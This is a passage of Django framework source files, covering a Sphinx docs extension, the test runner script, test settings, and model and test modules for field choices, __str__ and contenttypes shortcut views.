    # Prevent rawsource from appearing in output a second time.
    raise nodes.SkipNode


def depart_snippet_latex(self, node):
    """
    Latex document generator depart handler.
    """
    pass


class SnippetWithFilename(Directive):
    """
    The 'snippet' directive that allows to add the filename (optional)
    of a code snippet in the document. This is modeled after CodeBlock.
    """
    has_content = True
    optional_arguments = 1
    option_spec = {'filename': directives.unchanged_required}

    def run(self):
        code = '\n'.join(self.content)

        literal = snippet_with_filename(code, code)
        if self.arguments:
            literal['language'] = self.arguments[0]
        literal['filename'] = self.options['filename']
        set_source_info(self, literal)
        return [literal]


class VersionDirective(Directive):
    has_content = True
    required_arguments = 1
    optional_arguments = 1
    final_argument_whitespace = True
    option_spec = {}

    def run(self):
        if len(self.arguments) > 1:
            msg = """Only one argument accepted for directive '{directive_name}::'.
            Comments should be provided as content,
            not as an extra argument.""".format(directive_name=self.name)
            raise self.error(msg)

        env = self.state.document.settings.env
        ret = []
        node = addnodes.versionmodified()
        ret.append(node)

        if self.arguments[0] == env.config.django_next_version:
            node['version'] = "Development version"
        else:
            node['version'] = self.arguments[0]

        node['type'] = self.name
        if self.content:
            self.state.nested_parse(self.content, self.content_offset, node)
        env.note_versionchange(node['type'], node['version'], node, self.lineno)
        return ret


class DjangoHTMLTranslator(SmartyPantsHTMLTranslator):
    """
    Django-specific reST to HTML tweaks.
    """

    # Don't use border=1, which docutils does by default.
    def visit_table(self, node):
        self.context.append(self.compact_p)
        self.compact_p = True
        self._table_row_index = 0  # Needed by Sphinx
        self.body.append(self.starttag(node, 'table', CLASS='docutils'))

    def depart_table(self, node):
        self.compact_p = self.context.pop()
        self.body.append('</table>\n')

    def visit_desc_parameterlist(self, node):
        self.body.append('(')  # by default sphinx puts <big> around the "("
        self.first_param = 1
        self.optional_param_level = 0
        self.param_separator = node.child_text_separator
        self.required_params_left = sum([isinstance(c, addnodes.desc_parameter)
                                         for c in node.children])

    def depart_desc_parameterlist(self, node):
        self.body.append(')')

    #
    # Turn the "new in version" stuff (versionadded/versionchanged) into a
    # better callout -- the Sphinx default is just a little span,
    # which is a bit less obvious that I'd like.
    #
    # FIXME: these messages are all hardcoded in English. We need to change
    # that to accommodate other language docs, but I can't work out how to make
    # that work.
    #
    version_text = {
        'versionchanged': 'Changed in Django %s',
        'versionadded': 'New in Django %s',
    }

    def visit_versionmodified(self, node):
        self.body.append(
            self.starttag(node, 'div', CLASS=node['type'])
        )
        version_text = self.version_text.get(node['type'])
        if version_text:
            title = "%s%s" % (
                version_text % node['version'],
                ":" if len(node) else "."
            )
            self.body.append('<span class="title">%s</span> ' % title)

    def depart_versionmodified(self, node):
        self.body.append("</div>\n")

    # Give each section a unique ID -- nice for custom CSS hooks
    def visit_section(self, node):
        old_ids = node.get('ids', [])
        node['ids'] = ['s-' + i for i in old_ids]
        node['ids'].extend(old_ids)
        SmartyPantsHTMLTranslator.visit_section(self, node)
        node['ids'] = old_ids


def parse_django_admin_node(env, sig, signode):
    command = sig.split(' ')[0]
    env.ref_context['std:program'] = command
    title = "django-admin %s" % sig
    signode += addnodes.desc_name(title, title)
    return command


class DjangoStandaloneHTMLBuilder(StandaloneHTMLBuilder):
    """
    Subclass to add some extra things we need.
    """

    name = 'djangohtml'

    def finish(self):
        super(DjangoStandaloneHTMLBuilder, self).finish()
        self.info(bold("writing templatebuiltins.js..."))
        xrefs = self.env.domaindata["std"]["objects"]
        templatebuiltins = {
            "ttags": [n for ((t, n), (l, a)) in xrefs.items()
                      if t == "templatetag" and l == "ref/templates/builtins"],
            "tfilters": [n for ((t, n), (l, a)) in xrefs.items()
                         if t == "templatefilter" and l == "ref/templates/builtins"],
        }
        outfilename = os.path.join(self.outdir, "templatebuiltins.js")
        with open(outfilename, 'w') as fp:
            fp.write('var django_template_builtins = ')
            json.dump(templatebuiltins, fp)
            fp.write(';\n')






"""
An interpreted text role to link docs to Trac tickets.

To use: :ticket:`XXXXX`

Based on code from psycopg2 by Daniele Varrazzo.
"""
from docutils import nodes, utils
from docutils.parsers.rst import roles


def ticket_role(name, rawtext, text, lineno, inliner, options=None, content=None):
    if options is None:
        options = {}
    try:
        num = int(text.replace('#', ''))
    except ValueError:
        msg = inliner.reporter.error(
            "ticket number must be... a number, got '%s'" % text)
        prb = inliner.problematic(rawtext, rawtext, msg)
        return [prb], [msg]

    url_pattern = inliner.document.settings.env.app.config.ticket_url
    if url_pattern is None:
        msg = inliner.reporter.warning(
            "ticket not configured: please configure ticket_url in conf.py")
        prb = inliner.problematic(rawtext, rawtext, msg)
        return [prb], [msg]

    url = url_pattern % num
    roles.set_classes(options)
    node = nodes.reference(rawtext, '#' + utils.unescape(text), refuri=url, **options)
    return [node], []


def setup(app):
    app.add_config_value('ticket_url', None, 'env')
    app.add_role('ticket', ticket_role)
    return {'parallel_read_safe': True}






#!/usr/bin/env python
import argparse
import atexit
import copy
import os
import shutil
import subprocess
import sys
import tempfile
import warnings

import django
from django.apps import apps
from django.conf import settings
from django.db import connection, connections
from django.test import TestCase, TransactionTestCase
from django.test.runner import default_test_processes
from django.test.selenium import SeleniumTestCaseBase
from django.test.utils import get_runner
from django.utils import six
from django.utils._os import upath
from django.utils.deprecation import (
    RemovedInDjango20Warning, RemovedInDjango21Warning,
)
from django.utils.log import DEFAULT_LOGGING

# Make deprecation warnings errors to ensure no usage of deprecated features.
warnings.simplefilter("error", RemovedInDjango20Warning)
warnings.simplefilter("error", RemovedInDjango21Warning)
# Make runtime warning errors to ensure no usage of error prone patterns.
warnings.simplefilter("error", RuntimeWarning)
# Ignore known warnings in test dependencies.
warnings.filterwarnings("ignore", "'U' mode is deprecated", DeprecationWarning, module='docutils.io')

RUNTESTS_DIR = os.path.abspath(os.path.dirname(upath(__file__)))

TEMPLATE_DIR = os.path.join(RUNTESTS_DIR, 'templates')

# Create a specific subdirectory for the duration of the test suite.
TMPDIR = tempfile.mkdtemp(prefix='django_')
# Set the TMPDIR environment variable in addition to tempfile.tempdir
# so that children processes inherit it.
tempfile.tempdir = os.environ['TMPDIR'] = TMPDIR

# Removing the temporary TMPDIR. Ensure we pass in unicode so that it will
# successfully remove temp trees containing non-ASCII filenames on Windows.
# (We're assuming the temp dir name itself only contains ASCII characters.)
atexit.register(shutil.rmtree, six.text_type(TMPDIR))


SUBDIRS_TO_SKIP = [
    'data',
    'import_error_package',
    'test_discovery_sample',
    'test_discovery_sample2',
]

ALWAYS_INSTALLED_APPS = [
    'django.contrib.contenttypes',
    'django.contrib.auth',
    'django.contrib.sites',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.admin.apps.SimpleAdminConfig',
    'django.contrib.staticfiles',
]

ALWAYS_MIDDLEWARE = [
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
]

# Need to add the associated contrib app to INSTALLED_APPS in some cases to
# avoid "RuntimeError: Model class X doesn't declare an explicit app_label
# and isn't in an application in INSTALLED_APPS."
CONTRIB_TESTS_TO_APPS = {
    'flatpages_tests': 'django.contrib.flatpages',
    'redirects_tests': 'django.contrib.redirects',
}


def get_test_modules():
    modules = []
    discovery_paths = [
        (None, RUNTESTS_DIR),
        # GIS tests are in nested apps
        ('gis_tests', os.path.join(RUNTESTS_DIR, 'gis_tests')),
    ]

    for modpath, dirpath in discovery_paths:
        for f in os.listdir(dirpath):
            if ('.' in f or
                    os.path.basename(f) in SUBDIRS_TO_SKIP or
                    os.path.isfile(f) or
                    not os.path.exists(os.path.join(dirpath, f, '__init__.py'))):
                continue
            modules.append((modpath, f))
    return modules


def get_installed():
    return [app_config.name for app_config in apps.get_app_configs()]


def setup(verbosity, test_labels, parallel):
    if verbosity >= 1:
        msg = "Testing against Django installed in '%s'" % os.path.dirname(django.__file__)
        max_parallel = default_test_processes() if parallel == 0 else parallel
        if max_parallel > 1:
            msg += " with up to %d processes" % max_parallel
        print(msg)

    # Force declaring available_apps in TransactionTestCase for faster tests.
    def no_available_apps(self):
        raise Exception("Please define available_apps in TransactionTestCase "
                        "and its subclasses.")
    TransactionTestCase.available_apps = property(no_available_apps)
    TestCase.available_apps = None

    state = {
        'INSTALLED_APPS': settings.INSTALLED_APPS,
        'ROOT_URLCONF': getattr(settings, "ROOT_URLCONF", ""),
        'TEMPLATES': settings.TEMPLATES,
        'LANGUAGE_CODE': settings.LANGUAGE_CODE,
        'STATIC_URL': settings.STATIC_URL,
        'STATIC_ROOT': settings.STATIC_ROOT,
        'MIDDLEWARE': settings.MIDDLEWARE,
    }

    # Redirect some settings for the duration of these tests.
    settings.INSTALLED_APPS = ALWAYS_INSTALLED_APPS
    settings.ROOT_URLCONF = 'urls'
    settings.STATIC_URL = '/static/'
    settings.STATIC_ROOT = os.path.join(TMPDIR, 'static')
    settings.TEMPLATES = [{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [TEMPLATE_DIR],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    }]
    settings.LANGUAGE_CODE = 'en'
    settings.SITE_ID = 1
    settings.MIDDLEWARE = ALWAYS_MIDDLEWARE
    settings.MIGRATION_MODULES = {
        # This lets us skip creating migrations for the test models as many of
        # them depend on one of the following contrib applications.
        'auth': None,
        'contenttypes': None,
        'sessions': None,
    }
    log_config = copy.deepcopy(DEFAULT_LOGGING)
    # Filter out non-error logging so we don't have to capture it in lots of
    # tests.
    log_config['loggers']['django']['level'] = 'ERROR'
    settings.LOGGING = log_config

    warnings.filterwarnings(
        'ignore',
        'The GeoManager class is deprecated.',
        RemovedInDjango20Warning
    )

    # Load all the ALWAYS_INSTALLED_APPS.
    django.setup()

    # Load all the test model apps.
    test_modules = get_test_modules()

    # Reduce given test labels to just the app module path
    test_labels_set = set()
    for label in test_labels:
        bits = label.split('.')[:1]
        test_labels_set.add('.'.join(bits))

    installed_app_names = set(get_installed())
    for modpath, module_name in test_modules:
        if modpath:
            module_label = '.'.join([modpath, module_name])
        else:
            module_label = module_name
        # if the module (or an ancestor) was named on the command line, or
        # no modules were named (i.e., run all), import
        # this module and add it to INSTALLED_APPS.
        if not test_labels:
            module_found_in_labels = True
        else:
            module_found_in_labels = any(
                # exact match or ancestor match
                module_label == label or module_label.startswith(label + '.')
                for label in test_labels_set)

        if module_name in CONTRIB_TESTS_TO_APPS and module_found_in_labels:
            settings.INSTALLED_APPS.append(CONTRIB_TESTS_TO_APPS[module_name])

        if module_found_in_labels and module_label not in installed_app_names:
            if verbosity >= 2:
                print("Importing application %s" % module_name)
            settings.INSTALLED_APPS.append(module_label)

    # Add contrib.gis to INSTALLED_APPS if needed (rather than requiring
    # @override_settings(INSTALLED_APPS=...) on all test cases.
    gis = 'django.contrib.gis'
    if connection.features.gis_enabled and gis not in settings.INSTALLED_APPS:
        if verbosity >= 2:
            print("Importing application %s" % gis)
        settings.INSTALLED_APPS.append(gis)

    apps.set_installed_apps(settings.INSTALLED_APPS)

    return state


def teardown(state):
    # Restore the old settings.
    for key, value in state.items():
        setattr(settings, key, value)


def actual_test_processes(parallel):
    if parallel == 0:
        # This doesn't work before django.setup() on some databases.
        if all(conn.features.can_clone_databases for conn in connections.all()):
            return default_test_processes()
        else:
            return 1
    else:
        return parallel


class ActionSelenium(argparse.Action):
    """
    Validate the comma-separated list of requested browsers.
    """
    def __call__(self, parser, namespace, values, option_string=None):
        browsers = values.split(',')
        for browser in browsers:
            try:
                SeleniumTestCaseBase.import_webdriver(browser)
            except ImportError:
                raise argparse.ArgumentError(self, "Selenium browser specification '%s' is not valid." % browser)
        setattr(namespace, self.dest, browsers)


def django_tests(verbosity, interactive, failfast, keepdb, reverse,
                 test_labels, debug_sql, parallel, tags, exclude_tags):
    state = setup(verbosity, test_labels, parallel)
    extra_tests = []

    # Run the test suite, including the extra validation tests.
    if not hasattr(settings, 'TEST_RUNNER'):
        settings.TEST_RUNNER = 'django.test.runner.DiscoverRunner'
    TestRunner = get_runner(settings)

    test_runner = TestRunner(
        verbosity=verbosity,
        interactive=interactive,
        failfast=failfast,
        keepdb=keepdb,
        reverse=reverse,
        debug_sql=debug_sql,
        parallel=actual_test_processes(parallel),
        tags=tags,
        exclude_tags=exclude_tags,
    )
    failures = test_runner.run_tests(
        test_labels or get_installed(),
        extra_tests=extra_tests,
    )
    teardown(state)
    return failures


def get_subprocess_args(options):
    subprocess_args = [
        sys.executable, upath(__file__), '--settings=%s' % options.settings
    ]
    if options.failfast:
        subprocess_args.append('--failfast')
    if options.verbosity:
        subprocess_args.append('--verbosity=%s' % options.verbosity)
    if not options.interactive:
        subprocess_args.append('--noinput')
    if options.tags:
        subprocess_args.append('--tag=%s' % options.tags)
    if options.exclude_tags:
        subprocess_args.append('--exclude_tag=%s' % options.exclude_tags)
    return subprocess_args


def bisect_tests(bisection_label, options, test_labels, parallel):
    state = setup(options.verbosity, test_labels, parallel)

    test_labels = test_labels or get_installed()

    print('***** Bisecting test suite: %s' % ' '.join(test_labels))

    # Make sure the bisection point isn't in the test list
    # Also remove tests that need to be run in specific combinations
    for label in [bisection_label, 'model_inheritance_same_model_name']:
        try:
            test_labels.remove(label)
        except ValueError:
            pass

    subprocess_args = get_subprocess_args(options)

    iteration = 1
    while len(test_labels) > 1:
        midpoint = len(test_labels) // 2
        test_labels_a = test_labels[:midpoint] + [bisection_label]
        test_labels_b = test_labels[midpoint:] + [bisection_label]
        print('***** Pass %da: Running the first half of the test suite' % iteration)
        print('***** Test labels: %s' % ' '.join(test_labels_a))
        failures_a = subprocess.call(subprocess_args + test_labels_a)

        print('***** Pass %db: Running the second half of the test suite' % iteration)
        print('***** Test labels: %s' % ' '.join(test_labels_b))
        print('')
        failures_b = subprocess.call(subprocess_args + test_labels_b)

        if failures_a and not failures_b:
            print("***** Problem found in first half. Bisecting again...")
            iteration += 1
            test_labels = test_labels_a[:-1]
        elif failures_b and not failures_a:
            print("***** Problem found in second half. Bisecting again...")
            iteration += 1
            test_labels = test_labels_b[:-1]
        elif failures_a and failures_b:
            print("***** Multiple sources of failure found")
            break
        else:
            print("***** No source of failure found... try pair execution (--pair)")
            break

    if len(test_labels) == 1:
        print("***** Source of error: %s" % test_labels[0])
    teardown(state)


def paired_tests(paired_test, options, test_labels, parallel):
    state = setup(options.verbosity, test_labels, parallel)

    test_labels = test_labels or get_installed()

    print('***** Trying paired execution')

    # Make sure the constant member of the pair isn't in the test list
    # Also remove tests that need to be run in specific combinations
    for label in [paired_test, 'model_inheritance_same_model_name']:
        try:
            test_labels.remove(label)
        except ValueError:
            pass

    subprocess_args = get_subprocess_args(options)

    for i, label in enumerate(test_labels):
        print('***** %d of %d: Check test pairing with %s' % (
              i + 1, len(test_labels), label))
        failures = subprocess.call(subprocess_args + [label, paired_test])
        if failures:
            print('***** Found problem pair with %s' % label)
            return

    print('***** No problem pair found')
    teardown(state)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Run the Django test suite.")
    parser.add_argument(
        'modules', nargs='*', metavar='module',
        help='Optional path(s) to test modules; e.g. "i18n" or '
             '"i18n.tests.TranslationTests.test_lazy_objects".',
    )
    parser.add_argument(
        '-v', '--verbosity', default=1, type=int, choices=[0, 1, 2, 3],
        help='Verbosity level; 0=minimal output, 1=normal output, 2=all output',
    )
    parser.add_argument(
        '--noinput', action='store_false', dest='interactive', default=True,
        help='Tells Django to NOT prompt the user for input of any kind.',
    )
    parser.add_argument(
        '--failfast', action='store_true', dest='failfast', default=False,
        help='Tells Django to stop running the test suite after first failed test.',
    )
    parser.add_argument(
        '-k', '--keepdb', action='store_true', dest='keepdb', default=False,
        help='Tells Django to preserve the test database between runs.',
    )
    parser.add_argument(
        '--settings',
        help='Python path to settings module, e.g. "myproject.settings". If '
             'this isn\'t provided, either the DJANGO_SETTINGS_MODULE '
             'environment variable or "test_sqlite" will be used.',
    )
    parser.add_argument(
        '--bisect',
        help='Bisect the test suite to discover a test that causes a test '
             'failure when combined with the named test.',
    )
    parser.add_argument(
        '--pair',
        help='Run the test suite in pairs with the named test to find problem pairs.',
    )
    parser.add_argument(
        '--reverse', action='store_true', default=False,
        help='Sort test suites and test cases in opposite order to debug '
             'test side effects not apparent with normal execution lineup.',
    )
    parser.add_argument(
        '--selenium', dest='selenium', action=ActionSelenium, metavar='BROWSERS',
        help='A comma-separated list of browsers to run the Selenium tests against.',
    )
    parser.add_argument(
        '--debug-sql', action='store_true', dest='debug_sql', default=False,
        help='Turn on the SQL query logger within tests.',
    )
    parser.add_argument(
        '--parallel', dest='parallel', nargs='?', default=0, type=int,
        const=default_test_processes(), metavar='N',
        help='Run tests using up to N parallel processes.',
    )
    parser.add_argument(
        '--tag', dest='tags', action='append',
        help='Run only tests with the specified tags. Can be used multiple times.',
    )
    parser.add_argument(
        '--exclude-tag', dest='exclude_tags', action='append',
        help='Do not run tests with the specified tag. Can be used multiple times.',
    )

    options = parser.parse_args()

    # mock is a required dependency
    try:
        from django.test import mock  # NOQA
    except ImportError:
        print(
            "Please install test dependencies first: \n"
            "$ pip install -r requirements/py%s.txt" % sys.version_info.major
        )
        sys.exit(1)

    # Allow including a trailing slash on app_labels for tab completion convenience
    options.modules = [os.path.normpath(labels) for labels in options.modules]

    if options.settings:
        os.environ['DJANGO_SETTINGS_MODULE'] = options.settings
    else:
        if "DJANGO_SETTINGS_MODULE" not in os.environ:
            os.environ['DJANGO_SETTINGS_MODULE'] = 'test_sqlite'
        options.settings = os.environ['DJANGO_SETTINGS_MODULE']

    if options.selenium:
        if not options.tags:
            options.tags = ['selenium']
        elif 'selenium' not in options.tags:
            options.tags.append('selenium')
        SeleniumTestCaseBase.browsers = options.selenium

    if options.bisect:
        bisect_tests(options.bisect, options, options.modules, options.parallel)
    elif options.pair:
        paired_tests(options.pair, options, options.modules, options.parallel)
    else:
        failures = django_tests(
            options.verbosity, options.interactive, options.failfast,
            options.keepdb, options.reverse, options.modules,
            options.debug_sql, options.parallel, options.tags,
            options.exclude_tags,
        )
        if failures:
            sys.exit(bool(failures))






"""This URLconf exists because Django expects ROOT_URLCONF to exist. URLs
should be added within the test folders, and use TestCase.urls to set them.
This helps the tests remain isolated.
"""


urlpatterns = []






# This is an example test settings file for use with the Django test suite.
#
# The 'sqlite3' backend requires only the ENGINE setting (an in-
# memory database will be used). All other backends will require a
# NAME and potentially authentication information. See the
# following section in the docs for more information:
#
# https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/unit-tests/
#
# The different databases that Django supports behave differently in certain
# situations, so it is recommended to run the test suite against as many
# database backends as possible.  You may want to create a separate settings
# file for each of the backends you test against.

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
    },
    'other': {
        'ENGINE': 'django.db.backends.sqlite3',
    }
}

SECRET_KEY = "django_tests_secret_key"

# Use a fast hasher to speed up tests.
PASSWORD_HASHERS = [
    'django.contrib.auth.hashers.MD5PasswordHasher',
]






"""
Specifying 'choices' for a field

Most fields take a ``choices`` parameter, which should be a tuple of tuples
specifying which are the valid values for that field.

For each field that has ``choices``, a model instance gets a
``get_fieldname_display()`` method, where ``fieldname`` is the name of the
field. This method returns the "human-readable" value of the field.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible

GENDER_CHOICES = (
    ('M', 'Male'),
    ('F', 'Female'),
)


@python_2_unicode_compatible
class Person(models.Model):
    name = models.CharField(max_length=20)
    gender = models.CharField(max_length=1, choices=GENDER_CHOICES)

    def __str__(self):
        return self.name












from django.test import TestCase

from .models import Person


class ChoicesTests(TestCase):
    def test_display(self):
        a = Person.objects.create(name='Adrian', gender='M')
        s = Person.objects.create(name='Sara', gender='F')
        self.assertEqual(a.gender, 'M')
        self.assertEqual(s.gender, 'F')

        self.assertEqual(a.get_gender_display(), 'Male')
        self.assertEqual(s.get_gender_display(), 'Female')

        # If the value for the field doesn't correspond to a valid choice,
        # the value itself is provided as a display value.
        a.gender = ''
        self.assertEqual(a.get_gender_display(), '')

        a.gender = 'U'
        self.assertEqual(a.get_gender_display(), 'U')






# -*- coding: utf-8 -*-
"""
Adding __str__() or __unicode__() to models

Although it's not a strict requirement, each model should have a
``_str__()`` or ``__unicode__()`` method to return a "human-readable"
representation of the object. Do this not only for your own sanity when dealing
with the interactive prompt, but also because objects' representations are used
throughout Django's automatically-generated admin.

Normally,  you should write ``__unicode__()`` method, since this will work for
all field types (and Django will automatically provide an appropriate
``__str__()`` method). However, you can write a ``__str__()`` method directly,
if you prefer. You must be careful to encode the results correctly, though.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateTimeField()

    def __str__(self):
        # Caution: this is only safe if you are certain that headline will be
        # in ASCII.
        return self.headline


@python_2_unicode_compatible
class InternationalArticle(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateTimeField()

    def __str__(self):
        return self.headline












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
from unittest import skipIf

from django.db import models
from django.test import TestCase
from django.test.utils import isolate_apps
from django.utils import six

from .models import Article, InternationalArticle


class SimpleTests(TestCase):

    @skipIf(six.PY3, "tests a __str__ method returning unicode under Python 2")
    def test_basic(self):
        a = Article.objects.create(
            headline=b'Parrot programs in Python',
            pub_date=datetime.datetime(2005, 7, 28)
        )
        self.assertEqual(str(a), str('Parrot programs in Python'))
        self.assertEqual(repr(a), str('<Article: Parrot programs in Python>'))

    def test_international(self):
        a = InternationalArticle.objects.create(
            headline='Girl wins €12.500 in lottery',
            pub_date=datetime.datetime(2005, 7, 28)
        )
        if six.PY3:
            self.assertEqual(str(a), 'Girl wins €12.500 in lottery')
        else:
            # On Python 2, the default str() output will be the UTF-8 encoded
            # output of __unicode__() -- or __str__() when the
            # python_2_unicode_compatible decorator is used.
            self.assertEqual(str(a), b'Girl wins \xe2\x82\xac12.500 in lottery')

    @isolate_apps('str')
    def test_defaults(self):
        """
        The default implementation of __str__ and __repr__ should return
        instances of str.
        """
        class Default(models.Model):
            pass

        obj = Default()
        # Explicit call to __str__/__repr__ to make sure str()/repr() don't
        # coerce the returned value.
        self.assertIsInstance(obj.__str__(), str)
        self.assertIsInstance(obj.__repr__(), str)
        self.assertEqual(str(obj), str('Default object'))
        self.assertEqual(repr(obj), str('<Default: Default object>'))






from __future__ import unicode_literals

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.contrib.sites.models import SiteManager
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from django.utils.http import urlquote


@python_2_unicode_compatible
class Site(models.Model):
    domain = models.CharField(max_length=100)
    objects = SiteManager()

    def __str__(self):
        return self.domain


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name

    def get_absolute_url(self):
        return '/authors/%s/' % self.id


@python_2_unicode_compatible
class Article(models.Model):
    title = models.CharField(max_length=100)
    slug = models.SlugField()
    author = models.ForeignKey(Author, models.CASCADE)
    date_created = models.DateTimeField()

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class SchemeIncludedURL(models.Model):
    url = models.URLField(max_length=100)

    def __str__(self):
        return self.url

    def get_absolute_url(self):
        return self.url


class ConcreteModel(models.Model):
    name = models.CharField(max_length=10)


class ProxyModel(ConcreteModel):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class FooWithoutUrl(models.Model):
    """
    Fake model not defining ``get_absolute_url`` for
    ContentTypesTests.test_shortcut_view_without_get_absolute_url()
    """
    name = models.CharField(max_length=30, unique=True)

    def __str__(self):
        return self.name


class FooWithUrl(FooWithoutUrl):
    """
    Fake model defining ``get_absolute_url`` for
    ContentTypesTests.test_shortcut_view().
    """

    def get_absolute_url(self):
        return "/users/%s/" % urlquote(self.name)


class FooWithBrokenAbsoluteUrl(FooWithoutUrl):
    """
    Fake model defining a ``get_absolute_url`` method containing an error
    """

    def get_absolute_url(self):
        return "/users/%s/" % self.unknown_field


class Question(models.Model):
    text = models.CharField(max_length=200)
    answer_set = GenericRelation('Answer')


@python_2_unicode_compatible
class Answer(models.Model):
    text = models.CharField(max_length=200)
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    question = GenericForeignKey()

    class Meta:
        order_with_respect_to = 'question'

    def __str__(self):
        return self.text


@python_2_unicode_compatible
class Post(models.Model):
    """An ordered tag on an item."""
    title = models.CharField(max_length=200)
    content_type = models.ForeignKey(ContentType, models.CASCADE, null=True)
    object_id = models.PositiveIntegerField(null=True)
    parent = GenericForeignKey()
    children = GenericRelation('Post')

    class Meta:
        order_with_respect_to = 'parent'

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class ModelWithNullFKToSite(models.Model):
    title = models.CharField(max_length=200)
    site = models.ForeignKey(Site, null=True, on_delete=models.CASCADE)
    post = models.ForeignKey(Post, null=True, on_delete=models.CASCADE)

    def __str__(self):
        return self.title

    def get_absolute_url(self):
        return '/title/%s/' % urlquote(self.title)






from __future__ import unicode_literals

from django.conf.urls import url
from django.contrib.contenttypes import views

urlpatterns = [
    url(r'^shortcut/([0-9]+)/(.*)/$', views.shortcut),
]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime

from django.apps.registry import Apps, apps
from django.conf import settings
from django.contrib.contenttypes import management as contenttypes_management
from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.contrib.sites.models import Site
from django.core import checks, management
from django.db import connections, migrations, models
from django.test import (
    SimpleTestCase, TestCase, TransactionTestCase, mock, override_settings,
)
from django.test.utils import captured_stdout, isolate_apps
from django.utils.encoding import force_str, force_text

from .models import (
    Article, Author, ModelWithNullFKToSite, Post, SchemeIncludedURL,
    Site as MockSite,
)


@override_settings(ROOT_URLCONF='contenttypes_tests.urls')
class ContentTypesViewsTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        # don't use the manager because we want to ensure the site exists
        # with pk=1, regardless of whether or not it already exists.
        cls.site1 = Site(pk=1, domain='testserver', name='testserver')
        cls.site1.save()
        cls.author1 = Author.objects.create(name='Boris')
        cls.article1 = Article.objects.create(
            title='Old Article', slug='old_article', author=cls.author1,
            date_created=datetime.datetime(2001, 1, 1, 21, 22, 23)
        )
        cls.article2 = Article.objects.create(
            title='Current Article', slug='current_article', author=cls.author1,
            date_created=datetime.datetime(2007, 9, 17, 21, 22, 23)
        )
        cls.article3 = Article.objects.create(
            title='Future Article', slug='future_article', author=cls.author1,
            date_created=datetime.datetime(3000, 1, 1, 21, 22, 23)
        )
        cls.scheme1 = SchemeIncludedURL.objects.create(url='http://test_scheme_included_http/')
        cls.scheme2 = SchemeIncludedURL.objects.create(url='https://test_scheme_included_https/')
        cls.scheme3 = SchemeIncludedURL.objects.create(url='//test_default_scheme_kept/')

    def setUp(self):
        Site.objects.clear_cache()

    def test_shortcut_with_absolute_url(self):
        "Can view a shortcut for an Author object that has a get_absolute_url method"
        for obj in Author.objects.all():
            short_url = '/shortcut/%s/%s/' % (ContentType.objects.get_for_model(Author).id, obj.pk)
            response = self.client.get(short_url)
            self.assertRedirects(response, 'http://testserver%s' % obj.get_absolute_url(),
                                 status_code=302, target_status_code=404)

    def test_shortcut_with_absolute_url_including_scheme(self):
        """
        Can view a shortcut when object's get_absolute_url returns a full URL
        the tested URLs are: "http://...", "https://..." and "//..."
        """
        for obj in SchemeIncludedURL.objects.all():
            short_url = '/shortcut/%s/%s/' % (ContentType.objects.get_for_model(SchemeIncludedURL).id, obj.pk)
            response = self.client.get(short_url)
            self.assertRedirects(response, obj.get_absolute_url(),
                                 status_code=302,
                                 fetch_redirect_response=False)

    def test_shortcut_no_absolute_url(self):
        "Shortcuts for an object that has no get_absolute_url method raises 404"
        for obj in Article.objects.all():
            short_url = '/shortcut/%s/%s/' % (ContentType.objects.get_for_model(Article).id, obj.pk)
            response = self.client.get(short_url)
            self.assertEqual(response.status_code, 404)

    def test_wrong_type_pk(self):
        short_url = '/shortcut/%s/%s/' % (ContentType.objects.get_for_model(Author).id, 'nobody/expects')
        response = self.client.get(short_url)
        self.assertEqual(response.status_code, 404)

    def test_shortcut_bad_pk(self):
        short_url = '/shortcut/%s/%s/' % (ContentType.objects.get_for_model(Author).id, '42424242')
        response = self.client.get(short_url)
        self.assertEqual(response.status_code, 404)

    def test_nonint_content_type(self):
        an_author = Author.objects.all()[0]
        short_url = '/shortcut/%s/%s/' % ('spam', an_author.pk)
        response = self.client.get(short_url)
        self.assertEqual(response.status_code, 404)

    def test_bad_content_type(self):
        an_author = Author.objects.all()[0]
        short_url = '/shortcut/%s/%s/' % (42424242, an_author.pk)
        response = self.client.get(short_url)
        self.assertEqual(response.status_code, 404)

    @mock.patch('django.apps.apps.get_model')
    def test_shortcut_view_with_null_site_fk(self, get_model):
        """
        The shortcut view works if a model's ForeignKey to site is None.
        """
        get_model.side_effect = lambda *args, **kwargs: MockSite if args[0] == 'sites.Site' else ModelWithNullFKToSite

        obj = ModelWithNullFKToSite.objects.create(title='title')
        url = '/shortcut/%s/%s/' % (ContentType.objects.get_for_model(ModelWithNullFKToSite).id, obj.pk)
        response = self.client.get(url)
        self.assertRedirects(
            response, '%s' % obj.get_absolute_url(),
            fetch_redirect_response=False,
        )

    def test_create_contenttype_on_the_spot(self):
        """
        Make sure ContentTypeManager.get_for_model creates the corresponding
        content type if it doesn't exist in the database (for some reason).
        """

        class ModelCreatedOnTheFly(models.Model):
            name = models.CharField()

            class Meta:
                verbose_name = 'a model created on the fly'
